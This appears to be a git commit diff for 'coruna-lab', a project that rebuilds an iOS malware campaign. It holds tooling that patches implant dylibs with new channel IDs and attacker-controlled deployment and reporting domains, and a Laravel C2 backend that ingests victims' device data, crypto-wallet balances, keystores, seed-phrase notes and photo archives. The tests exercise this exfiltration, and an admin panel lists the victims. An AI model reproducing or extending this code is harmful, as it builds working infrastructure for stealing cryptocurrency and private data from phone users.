This commit is contained in:
hashbro
2026-08-05 05:42:10 +08:00
parent d4fb538997
commit 22942f1a78
19 changed files with 986 additions and 164 deletions
+15 -16
View File
@@ -5,11 +5,12 @@
```text ```text
coruna-lab/ coruna-lab/
├── source/ # 只读模板(campaign 原样,勿 patch) ├── source/ # 只读模板(campaign 原样,勿 patch)
│ ├── web/34f5121f572d6742703eb84ec2f866a6/ │ ├── web/<original-channel>/
│ └── sync/ │ └── sync/
├── web/… # 工作副本(由脚本从 source 复制后再 patch) ├── server/public/
├── sync/ │ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站
├── out/seeds.json, domains.json │ ├── sync/ # 每次 new_project 重建(同域名内容一致)
│ └── out/{channel,seeds,domains}.json
├── doc/ ├── doc/
├── tools/ ├── tools/
└── MANIFEST.json └── MANIFEST.json
@@ -21,26 +22,23 @@ coruna-lab/
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/ https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
``` ```
## 新建 / 刷新工作树(推荐) ## 新建项目(推荐)
从 `source/` 复制 `web` + `sync` 到 **`server/public/`**,再自动 `patch_all.py --apply`: 从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致:
```bash ```bash
cd coruna-lab cd coruna-lab
pip3 install py7zr pycryptodome pip3 install py7zr pycryptodome
python3 tools/new_project.py /usr/bin/python3 tools/new_project.py \
# 指定 seed / 固定域名: --deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \
python3 tools/new_project.py --deployment-seed … --reporting-seed … --reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info'
python3 tools/new_project.py \
--deployment-domains 'a.example,b.example' \
--reporting-domains 'c.example,d.example'
``` ```
域名见 `server/public/out/domains.json`;入口由 Laravel/`server/public` 提供: 见 `server/public/out/channel.json` / `domains.json`;入口:
```text ```text
https://<host>/web/34f5121f572d6742703eb84ec2f866a6/support.html https://<host>/web/<channel-id>/support.html
https://<host>/sync/daily.html https://<host>/sync/daily.html
``` ```
@@ -51,7 +49,7 @@ https://<host>/sync/daily.html
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` | | [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 | | [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 | | [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
| [`tools/README.md`](tools/README.md) | 替换 seed、重建二级包/core、计算 DGA 域名 | | [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 |
## 链路(极简) ## 链路(极简)
@@ -64,4 +62,5 @@ support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01
- 来源索引:`MANIFEST.json` - 来源索引:`MANIFEST.json`
- 分析报告:`coruna-online/docs/` - 分析报告:`coruna-online/docs/`
- **不要**对 `source/` 跑 `--apply`;只改根目录 `web/` / `sync/` - **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/`
- 工具细节见 [`tools/README.md`](tools/README.md)
@@ -14,6 +14,7 @@ class DeviceController extends Controller
{ {
$filters = [ $filters = [
'device_key' => trim((string) $request->query('device_key', '')), 'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')), 'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')), 'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')), 'ios' => trim((string) $request->query('ios', '')),
@@ -26,6 +27,9 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') { if ($filters['device_key'] !== '') {
$q->where('device_id', 'like', '%'.$filters['device_key'].'%'); $q->where('device_id', 'like', '%'.$filters['device_key'].'%');
} }
if ($filters['channel_id'] !== '') {
$q->where('channel_id', 'like', '%'.$filters['channel_id'].'%');
}
if ($filters['model'] !== '') { if ($filters['model'] !== '') {
$q->where('device_model', 'like', '%'.$filters['model'].'%'); $q->where('device_model', 'like', '%'.$filters['model'].'%');
} }
@@ -107,7 +107,11 @@ class C2Controller extends Controller
?: $request->input('f'); ?: $request->input('f');
$device = $this->ingest->upsertDevice( $device = $this->ingest->upsertDevice(
$request, $request,
array_filter(['d' => $deviceKey]), array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey ? (string) $deviceKey : null $deviceKey ? (string) $deviceKey : null
); );
+1 -1
View File
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model class Device extends Model
{ {
protected $fillable = [ protected $fillable = [
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', 'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
]; ];
protected function casts(): array protected function casts(): array
+86 -1
View File
@@ -34,6 +34,40 @@ class IngestService
return null; return null;
} }
/**
* Campaign / channel id from reporting traffic.
*
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
* Fallback: `channel` (seen on /link/config/list alongside `c`).
*/
public function extractChannelId(Request $request, ?array $payload): ?string
{
$candidates = [];
if (is_array($payload)) {
if (isset($payload['form']) && is_array($payload['form'])) {
$candidates[] = $payload['form']['c'] ?? null;
$candidates[] = $payload['form']['channel'] ?? null;
}
$candidates[] = $payload['c'] ?? null;
$candidates[] = $payload['channel'] ?? null;
}
$candidates[] = $request->input('c');
$candidates[] = $request->input('channel');
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$value = trim($value);
// HAR / implant: lowercase hex, typically 32 chars
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
return strtolower(substr($value, 0, 64));
}
}
return null;
}
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{ {
$deviceKey ??= $this->extractDeviceKey($payload); $deviceKey ??= $this->extractDeviceKey($payload);
@@ -43,6 +77,7 @@ class IngestService
$deviceModel = $this->extractDeviceModel($payload); $deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload); $ios = $this->extractIosVersion($payload);
$channelId = $this->extractChannelId($request, $payload);
$ua = substr((string) $request->userAgent(), 0, 2000); $ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first(); $existing = Device::query()->where('device_id', $deviceKey)->first();
@@ -62,6 +97,11 @@ class IngestService
} elseif ($existing) { } elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version; $attrs['ios_version'] = $existing->ios_version;
} }
if ($channelId !== null) {
$attrs['channel_id'] = $channelId;
} elseif ($existing) {
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps) // created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
$device = Device::query()->updateOrCreate( $device = Device::query()->updateOrCreate(
@@ -188,7 +228,10 @@ class IngestService
return; return;
} }
$rows = []; $rows = [];
if (isset($payload['data']) && is_array($payload['data'])) { // HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
if (isset($payload['ba']) && is_array($payload['ba'])) {
$rows = $this->normalizeBaAddressRows($payload['ba']);
} elseif (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']); $rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) { } elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']); $rows = $this->normalizeAddressRows($payload['result']);
@@ -324,6 +367,10 @@ class IngestService
if (is_string($sv) && $sv !== '') { if (is_string($sv) && $sv !== '') {
return $sv; return $sv;
} }
$info = $payload['deviceInfo'] ?? null;
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
return $info['productVersion'];
}
return null; return null;
} }
@@ -353,4 +400,42 @@ class IngestService
return $out; return $out;
} }
/**
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
*
* @param array<string, mixed> $ba
* @return list<array<string, mixed>>
*/
private function normalizeBaAddressRows(array $ba): array
{
$out = [];
foreach ($ba as $address => $assets) {
if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue;
}
$list = array_values(array_filter($assets, 'is_array'));
if ($list === []) {
continue;
}
$primary = $list[0];
foreach ($list as $asset) {
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
if ($bal !== '' && $bal !== '0') {
$primary = $asset;
break;
}
}
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
$out[] = [
'address' => $address,
'chain' => $chain,
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
'assets' => $list,
];
}
return $out;
}
} }
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->string('channel_id', 64)->nullable()->after('device_id')->index();
});
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('channel_id');
});
}
};
Binary file not shown.
Binary file not shown.
@@ -14,6 +14,12 @@
<input type="text" name="device_key" value="{{ $filters['device_key'] ?? '' }}" placeholder="device key" class="layui-input"> <input type="text" name="device_key" value="{{ $filters['device_key'] ?? '' }}" placeholder="device key" class="layui-input">
</div> </div>
</div> </div>
<div class="layui-inline">
<label class="layui-form-label" style="width:90px;">Channel</label>
<div class="layui-input-inline" style="width:160px;">
<input type="text" name="channel_id" value="{{ $filters['channel_id'] ?? '' }}" placeholder="channel id" class="layui-input">
</div>
</div>
<div class="layui-inline"> <div class="layui-inline">
<label class="layui-form-label" style="width:70px;">Model</label> <label class="layui-form-label" style="width:70px;">Model</label>
<div class="layui-input-inline" style="width:120px;"> <div class="layui-input-inline" style="width:120px;">
@@ -54,6 +60,7 @@
<tr> <tr>
<th>ID</th> <th>ID</th>
<th>Device</th> <th>Device</th>
<th>Channel</th>
<th>Model</th> <th>Model</th>
<th>iOS</th> <th>iOS</th>
<th>IP</th> <th>IP</th>
@@ -67,6 +74,7 @@
<tr> <tr>
<td>{{ $d->id }}</td> <td>{{ $d->id }}</td>
<td><code>{{ $d->device_id }}</code></td> <td><code>{{ $d->device_id }}</code></td>
<td><code>{{ $d->channel_id ?: '—' }}</code></td>
<td>{{ $d->device_model ?: '—' }}</td> <td>{{ $d->device_model ?: '—' }}</td>
<td>{{ $d->ios_version ?: '—' }}</td> <td>{{ $d->ios_version ?: '—' }}</td>
<td>{{ $d->ip ?: '—' }}</td> <td>{{ $d->ip ?: '—' }}</td>
@@ -75,7 +83,7 @@
<td><a class="layui-btn layui-btn-normal layui-btn-xs" href="{{ route('admin.devices.show', $d) }}">详情</a></td> <td><a class="layui-btn layui-btn-normal layui-btn-xs" href="{{ route('admin.devices.show', $d) }}">详情</a></td>
</tr> </tr>
@empty @empty
<tr><td colspan="8">暂无设备</td></tr> <tr><td colspan="9">暂无设备</td></tr>
@endforelse @endforelse
</tbody> </tbody>
</table> </table>
@@ -13,14 +13,18 @@
<tr> <tr>
<th width="140">Device</th> <th width="140">Device</th>
<td><code>{{ $device->device_id }}</code></td> <td><code>{{ $device->device_id }}</code></td>
<th width="140">Model</th> <th width="140">Channel</th>
<td>{{ $device->device_model ?: '—' }}</td> <td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr> </tr>
<tr> <tr>
<th>Model</th>
<td>{{ $device->device_model ?: '—' }}</td>
<th>iOS</th> <th>iOS</th>
<td>{{ $device->ios_version ?: '—' }}</td> <td>{{ $device->ios_version ?: '—' }}</td>
</tr>
<tr>
<th>IP</th> <th>IP</th>
<td>{{ $device->ip ?: '—' }}</td> <td colspan="3">{{ $device->ip ?: '—' }}</td>
</tr> </tr>
<tr> <tr>
<th>User-Agent</th> <th>User-Agent</th>
+164
View File
@@ -6,10 +6,14 @@ use App\Models\Admin;
use App\Models\Device; use App\Models\Device;
use App\Models\DeviceApp; use App\Models\DeviceApp;
use App\Models\DeviceEvent; use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet; use App\Models\Wallet;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Services\CorunaCrypto; use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase; use Tests\TestCase;
@@ -30,6 +34,7 @@ class C2ApiTest extends TestCase
{ {
$crypto = new CorunaCrypto; $crypto = new CorunaCrypto;
$payload = [ $payload = [
'c' => '34f5121f572d6742703eb84ec2f866a6',
'd' => '000430C910E8E526', 'd' => '000430C910E8E526',
'f' => '000430C910E8E526', 'f' => '000430C910E8E526',
'deviceModel' => 'iPhone9,1', 'deviceModel' => 'iPhone9,1',
@@ -58,6 +63,7 @@ class C2ApiTest extends TestCase
$device = Device::query()->where('device_id', '000430C910E8E526')->first(); $device = Device::query()->where('device_id', '000430C910E8E526')->first();
$this->assertNotNull($device); $this->assertNotNull($device);
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
$this->assertSame('15.8.4', $device->ios_version); $this->assertSame('15.8.4', $device->ios_version);
$this->assertSame('iPhone9,1', $device->device_model); $this->assertSame('iPhone9,1', $device->device_model);
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent); $this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
@@ -179,6 +185,164 @@ class C2ApiTest extends TestCase
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile)); $this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
} }
#[Test]
public function status_ingests_har_shaped_ba_address_map(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600888';
$enc = $crypto->encryptJson([
'd' => 'dev-ba-1',
'a' => 'tp',
'ba' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
[
'balance' => '0',
'chainId' => '10',
'chainType' => 'tron',
'decimal' => '6',
'name' => 'Tether USD',
'symbol' => 'USDT',
],
[
'balance' => '12.5',
'chainId' => '10',
'chainType' => 'tron',
'decimal' => '6',
'name' => 'TRON',
'symbol' => 'TRX',
],
],
],
], $ts);
$this->call('POST', '/api/user/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-ba-1')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('tron', $addr->chain);
$this->assertSame('12.5', $addr->balance);
$this->assertSame('TRX', $addr->symbol);
$this->assertCount(2, $addr->meta_json['assets'] ?? []);
}
#[Test]
public function avatar_status_stores_keystore_blob_as_wallet_raw(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600999';
$enc = $crypto->encryptJson([
'd' => 'dev-ks-1',
'a' => 'im',
'result' => [
'crypto' => [
'cipher' => 'aes-128-ctr',
'ciphertext' => 'deadbeef',
'kdf' => 'pbkdf2',
'mac' => 'cafebabe',
],
'identity' => ['encKey' => 'aa'],
],
], $ts);
$this->call('POST', '/api/user/avatar/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
$this->assertNotNull($device);
$wallet = Wallet::query()->where('device_id', $device->id)->first();
$this->assertNotNull($wallet);
$this->assertNull($wallet->mnemonic);
$this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null);
}
#[Test]
public function avatar_pic_ingests_notes(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585601111';
$enc = $crypto->encryptJson([
'd' => 'dev-notes-1',
'notes' => [
['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'],
['name' => 'shopping', 'text' => 'milk'],
],
], $ts);
$this->call('POST', '/api/user/avatar/pic', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
$this->assertNotNull($device);
$this->assertSame(2, Note::query()->where('device_id', $device->id)->count());
$first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first();
$this->assertNotNull($first);
$this->assertStringContainsString('abandon', (string) $first->body);
}
#[Test]
public function check_extracts_photo_archive_and_stores_file(): void
{
Storage::fake('local');
$crypto = new CorunaCrypto;
$tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
// minimal JPEG SOI/EOI
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
$this->assertFileExists($archivePath);
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$resp = $this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-1',
'f' => 'dev-photo-1',
'batchBase' => '0',
'count' => '1',
'total' => '1',
'index' => '0',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
);
$resp->assertOk();
$device = Device::query()->where('device_id', 'dev-photo-1')->first();
$this->assertNotNull($device);
$photo = Photo::query()->where('device_id', $device->id)->first();
$this->assertNotNull($photo);
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
$this->assertSame(4, $photo->size);
Storage::disk('local')->assertExists($photo->path);
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test] #[Test]
public function admin_guest_is_redirected_to_admin_login(): void public function admin_guest_is_redirected_to_admin_login(): void
{ {
+36 -38
View File
@@ -1,100 +1,98 @@
# coruna-lab 工具:DGA seed / 固定域名 # coruna-lab 工具:channel id / 固定域名
## 推荐:固定域名列表(多域名探测) ## 推荐:`new_project.py`(新 channel + 固定域名)
植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改: 每次运行都会:
- core(`erupt_flee.js` + `daily.html` 的 sha256/size) 1. 自动生成 **32 hex** channel id(或 `--channel-id`)
- 全部 type0x01 二级包(10 个 `.min.js`) 2. 从 `source/web/<原channel>/` 复制出 `server/public/web/<新channel>/`
3. 从 `source/sync` 重置并重建 `sync/`(固定域名写入 core / `daily.html`)
4. 写入固定域名 + channel,重打包全部 type0x01 二级包
**无 reuse-sync / 无改 seed 参数。** seed 由域名列表确定性推导;`daily.html`/`erupt_flee.js` 经内容缓存消除 py7zr 随机 salt,相同域名多次构建 → `sync/` 字节一致,仅 `web/<channel>/` 因 channel 不同。旧版备份:`tools/new_project.py.bak`。
```bash ```bash
cd coruna-lab cd coruna-lab
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv) # 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
pip3 install py7zr pycryptodome pip3 install py7zr pycryptodome
python3 tools/new_project.py \ /usr/bin/python3 tools/new_project.py \
--deployment-domains 'www.dep1.example,www.dep2.example' \ --deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example' --reporting-domains 'www.rep1.example,www.rep2.example'
``` ```
也支持重复传参: 也支持重复传参 / 指定 channel:
```bash ```bash
python3 tools/new_project.py \ /usr/bin/python3 tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains www.dep1.example \ --deployment-domains www.dep1.example \
--deployment-domains www.dep2.example \ --deployment-domains www.dep2.example \
--reporting-domains www.rep1.example \ --reporting-domains www.rep1.example \
--reporting-domains www.rep2.example --reporting-domains www.rep2.example
``` ```
产物(`new_project.py` 写入 `server/public/`): 产物(写入 `server/public/`):
- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供 - `server/public/web/<channel-id>/` — 投递站(可并存多个 channel)
- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配) - `server/public/sync/` — 每次重建(同域名则内容一致)
- `server/public/out/domains.json` — 最终生效的域名列表 - `server/public/out/channel.json` — 本次 channel
- `server/public/out/domains.json` — 固定域名列表
- `server/public/out/seeds.json` — 由域名推导的内部 seed
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains - `server/public/out/sync/MANIFEST.json` — core sha/size + domains
约束: 约束:
- channel id:**恰好 32** 个小写十六进制字符(与 type-0x01 C 字符串槽位同宽)
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII - 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
- 可写 `https://host`(会自动去掉 scheme/path/port) - 可写 `https://host`(会自动去掉 scheme/path/port)
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443) - 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK` - Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求 - `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/` - 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新生成后再部署
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto` - macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
--- ---
## 仅重建(已有 server/public web/sync) ## 仅重建(已有 server/public)
```bash ```bash
# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份 # 自动生成 channel;若尚无 web/<channel>/ + sync/,会从 source/ 复制
python3 tools/patch_all.py --apply --root server/public \ /usr/bin/python3 tools/patch_all.py --apply --root server/public \
--channel-id 'dddddddddddddddddddddddddddddddd' \
--deployment-domains 'www.dep1.example,www.dep2.example' \ --deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example' --reporting-domains 'www.rep1.example,www.rep2.example'
``` ```
--- 域名未变、只要新 channel 时用 `new_project.py`(会复用 `out/seeds.json` + 现有 `sync/`)。
## 旧模式:只换 DGA seed(算域名)
不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。
```bash
python3 tools/new_project.py
# 或
python3 tools/new_project.py \
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
```
### Seed 格式 ### Seed 格式
- ASCII,长度 ≤ 32(二进制槽位定长 32) - ASCII,长度 ≤ 32(二进制槽位定长 32)
- 推荐正好 32 个十六进制字符 - 推荐正好 32 个十六进制字符
- Deployment / Reporting 各一个 - Deployment / Reporting 各一个;域名未变时 `new_project` 会自动复用上次 seed
--- ---
## 分步脚本 ## 分步脚本
```bash ```bash
# 二级包 type0x01 # 二级包 type0x01(含 channel)
python3 tools/patch_secondary_packs.py \ /usr/bin/python3 tools/patch_secondary_packs.py \
--deployment-seed <32hex> --reporting-seed <32hex> \ --deployment-seed <32hex> --reporting-seed <32hex> \
--channel-id <32hex> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \ --deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root . --apply --root server/public --apply
# core + daily 校验 # core + daily 校验
python3 tools/patch_core.py \ /usr/bin/python3 tools/patch_core.py \
--deployment-seed <32hex> --reporting-seed <32hex> \ --deployment-seed <32hex> --reporting-seed <32hex> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \ --deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root . --apply --root server/public --apply
# 只算 DGA 域名(固定域名模式不需要) # 只算 DGA 域名(固定域名模式不需要)
python3 tools/compute_dga_domains.py \ /usr/bin/python3 tools/compute_dga_domains.py \
--deployment-seed <32hex> --reporting-seed <32hex> -n 5 --deployment-seed <32hex> --reporting-seed <32hex> -n 5
``` ```
源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。 源 dylib 仍读自 `coruna-online/`;`--apply` 写入 `server/public/web/<channel>/` + `sync/`(不会写 `source/`)。
+74
View File
@@ -0,0 +1,74 @@
"""Patch campaign / channel id embedded in type-0x01 secondary dylibs."""
from __future__ import annotations
import re
import secrets
# C-string keys immediately before the channel value in type-0x01 __cstring.
CHANNEL_ANCHOR = b"u\x00d\x00f\x00s\x00c\x00"
CHANNEL_LEN = 32
_CHANNEL_RE = re.compile(rb"^[0-9a-f]{32}$")
def gen_channel_id() -> str:
"""32 lowercase hex chars (same width as campaign slot)."""
return secrets.token_hex(16)
def validate_channel_id(value: str, *, name: str = "--channel-id") -> str:
if not isinstance(value, str) or not _CHANNEL_RE.fullmatch(value.encode("ascii")):
raise SystemExit(
f"{name} must be exactly {CHANNEL_LEN} lowercase hex chars "
f"(got {value!r})"
)
return value
def find_channel_offsets(data: bytes, *, expect_old: bytes | None = None) -> list[int]:
"""Return offsets of the 32-byte channel value after CHANNEL_ANCHOR."""
offsets: list[int] = []
start = 0
while True:
index = data.find(CHANNEL_ANCHOR, start)
if index < 0:
break
value_at = index + len(CHANNEL_ANCHOR)
value = data[value_at : value_at + CHANNEL_LEN]
if (
len(value) == CHANNEL_LEN
and _CHANNEL_RE.fullmatch(value)
and data[value_at + CHANNEL_LEN : value_at + CHANNEL_LEN + 1] == b"\x00"
):
if expect_old is None or value == expect_old:
offsets.append(value_at)
start = index + 1
return offsets
def patch_channel_in_dylib(
data: bytes,
new_channel: str,
*,
old_channel: str | None = None,
expect_hits: int = 1,
label: str = "dylib",
) -> bytes:
"""In-place replace channel C-string (must stay {CHANNEL_LEN} bytes)."""
new_channel = validate_channel_id(new_channel, name="channel")
new_b = new_channel.encode("ascii")
old_b = old_channel.encode("ascii") if old_channel else None
if old_b is not None:
validate_channel_id(old_channel, name="old channel")
offsets = find_channel_offsets(data, expect_old=old_b)
if len(offsets) != expect_hits:
raise SystemExit(
f"{label}: channel anchor hits={len(offsets)} (want {expect_hits}). "
"Secondary payload layout may have changed; re-adapt _channel_patch."
)
buf = bytearray(data)
for offset in offsets:
buf[offset : offset + CHANNEL_LEN] = new_b
return bytes(buf)
+39 -10
View File
@@ -13,7 +13,9 @@ MODULE_HUNT = ONLINE_ROOT / "module_hunt"
if str(MODULE_HUNT) not in sys.path: if str(MODULE_HUNT) not in sys.path:
sys.path.insert(0, str(MODULE_HUNT)) sys.path.insert(0, str(MODULE_HUNT))
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6" # Campaign / channel id embedded in type-0x01 (also source/web/<id>/ dirname).
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden)
# Campaign originals (current seeds embedded in type-0x01 + core) # Campaign originals (current seeds embedded in type-0x01 + core)
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6" ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
@@ -27,6 +29,7 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
_TREE_ROOT = SOURCE_ROOT _TREE_ROOT = SOURCE_ROOT
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
SYNC_DIR = _TREE_ROOT / "sync" SYNC_DIR = _TREE_ROOT / "sync"
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
C2_FETCH = ONLINE_ROOT / "c2_fetch" C2_FETCH = ONLINE_ROOT / "c2_fetch"
CORE_DYLIB = ( CORE_DYLIB = (
@@ -53,25 +56,51 @@ def tree_root() -> Path:
return _TREE_ROOT return _TREE_ROOT
def set_tree_root(root: Path) -> Path: def campaign_id() -> str:
